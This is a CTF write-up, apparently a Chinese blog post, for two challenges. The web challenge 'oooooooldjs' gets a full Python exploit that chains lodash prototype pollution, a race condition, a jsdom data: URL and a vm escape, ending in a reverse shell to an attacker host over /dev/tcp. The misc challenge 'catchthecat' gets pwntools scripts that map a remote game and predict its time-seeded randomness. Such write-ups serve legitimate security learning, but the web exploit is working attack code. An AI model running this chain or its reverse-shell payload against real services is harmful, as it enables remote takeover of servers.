Web#

oooooooldjs#

  1. 利用express-validator lodash set原型链污染crossDomain为空,屏蔽jquery ajax原跨域置script dataType为false逻辑,使得content-type为application/javascript的响应被自动执行
  2. 利用entity中D函数删除进行http请求,条件竞争,同时get目标元素和delete目标元素后一个元素,使requests加载任意地址
  3. 利用jsdom底层xhr实现中对data:的特殊判断,返回js脚本运行
  4. 逃逸jsdom执行脚本所用的vm,反弹shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import base64
from concurrent.futures import ThreadPoolExecutor

# flag{bc70169e-dad3-4719-96ef-b7ba05e2a5f7}

url = 'http://eci-2ze7n0wiypty5ofeyteb.cloudeci1.ichunqiu.com:8888'

requests.delete(url + '/data/fake-uuid')
requests.delete(url + '/data/another-fake-uuid')

# Pollute prototype chain
r = requests.post(url + '/data', json={
'type': 'url',
'block': 'http://localhost:8888',
'__proto__.crossDomain\"][__proto__][\"crossDomain': ['jsonp']
})

id1 = r.json()['data']['id']
print(id1)

script = b"""const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/10021 0>&1"')
"""
script = base64.b64encode(script)
script_url = 'data:application/javascript;charset=UTF-8;base64,%s' % script.decode('ascii')

# print(requests.get(url).json()['data'])

r = requests.post(url + '/data', json={
'type': 'text',
'block': script_url
})

id2 = r.json()['data']['id']

r = requests.post(url + '/data', json={
'type': 'url',
'block': 'http://localhost:8888'
})

def run():
while True:
requests.get(url + '/data/' + id2)

pool = ThreadPoolExecutor(8)
for _ in range(8):
pool.submit(run)

requests.delete(url + '/data/' + id1)

Misc#

catchthecat#

首先用含有自动重连,自动恢复现场的dfs远程遍历地图,得到地图。
由于程序的随机种子为当前时间,只要保证同时连接远端以及启动本地Game,就能使得服务端和本地同步,这样cat的位置时刻已知。
用一个时间复杂度大概为O(n)的中途相遇bfs,判断每次移向目标cat位置最短路的方向并移动。抓到10个cat后得到flag。
getflag.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
import pickle

NOTHING = 0
WALL = 1
BOMB = 2
CAT = 3
PERSON = 4
UNEXPLORERED = 5

n = 60
Map = pickle.loads(open('./map', 'rb').read())
directions = ['u', 'd', 'l', 'r']
p = remote('59.110.63.160', 40001)

# def load_map():
# global Map
# with open('./old_map', 'rb') as f:
# Map = pickle.loads(f.read())

def save_map():
with open('./map', 'wb') as f:
f.write(pickle.dumps(Map))

def print_map():
for i in range(n):
for j in range(n):
print(Map[i][j], end='')
print('')

def reconnect():
global p
p.close()
while True:
try:
p = remote('59.110.63.160', 40001)
except pwnlib.exception.PwnlibException:
continue
break

def move(d):
p.sendline(d)
result = p.recvline().strip()
print(result)
if result == b'OK.' or result == b'Caught!':
return NOTHING
elif result == b'WALL.':
return WALL
else:
return BOMB

def pre_move(x, y, d):
if d == 'u':
y -= 1
elif d == 'd':
y += 1
elif d == 'l':
x -= 1
elif d == 'r':
x += 1
return x, y

def turn_back(d):
if d == 'u':
return 'd'
elif d == 'd':
return 'u'
elif d == 'l':
return 'r'
else:
return 'l'

def resume(d):
while True:
reconnect()
try:
for _d in d:
move(_d)
except EOFError:
continue
break

def dfs(d, x, y):
for cd in directions:
nx, ny = pre_move(x, y, cd)
if Map[nx][ny] != UNEXPLORERED:
continue
result = BOMB
while True:
try:
result = move(cd)
except EOFError:
resume(d)
continue
break
Map[nx][ny] = result
print(nx, ny, result)
if result == NOTHING:
dfs(d + [cd], nx, ny)
while True:
try:
move(turn_back(cd))
except EOFError:
resume(d)
continue
break
elif result == BOMB:
resume(d)


if __name__ == '__main__':
# load_map()
# print(Map)
# print_map()
try:
dfs([], 1, 1)
finally:
save_map()

solve.py: (需要将Game.py中对游戏胜利的判断逻辑注释,并return 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
from Game import Game, randint, NOTHING, WALL, BOMB, CAT, PERSON
import pickle

#flag{d0335566-3b64-48e8-ba34-508e3ce4ee5a}

n = 60
Map = pickle.loads(open('./map2', 'rb').read())
directions = ['u', 'd', 'l', 'r']

def move(x, y, d):
if d == 'u':
y -= 1
elif d == 'd':
y += 1
elif d == 'l':
x -= 1
elif d == 'r':
x += 1
return x, y

def get_next(sx, sy, dx, dy):
vis = [[0 for _ in range(60)] for _ in range(60)]
first = [[0 for _ in range(60)] for _ in range(60)]
queue = []
queue.append((dx, dy, 2))
vis[dx][dy] = 2
for d in directions:
nx, ny = move(sx, sy, d)
if Map[nx][ny] == NOTHING:
queue.append((nx, ny, 1))
first[nx][ny] = d
vis[nx][ny] = 1
while len(queue) != 0:
x, y, fd = queue[0]
queue.pop(0)
for d in directions:
nx, ny = move(x, y, d)
if Map[nx][ny] == NOTHING:
if fd == 2:
if vis[nx][ny] == 0:
vis[nx][ny] = 2
queue.append((nx, ny, fd))
elif vis[nx][ny] == 1:
return first[nx][ny]
else:
if vis[nx][ny] == 0:
vis[nx][ny] = 1
first[nx][ny] = first[x][y]
queue.append((nx, ny, fd))
elif vis[nx][ny] == 2:
return first[x][y]

def start():
global game, p
p = remote('59.110.63.160', 40001)
game = Game()

def solve():
global game, p
while True:
for _ in range(3):
direction = get_next(game.x, game.y, game.cx, game.cy)
p.sendline(direction)
if game.move(direction, PERSON) == 2:
p.interactive()
for _ in range(2):
choice = randint(0, 3)
direction = directions[choice]
randcount = 0
while game.move(direction, CAT) == False:
choice = randint(0, 3)
direction = directions[choice]
randcount += 1
if randcount == 10:
break

if __name__ == '__main__':
start()
solve()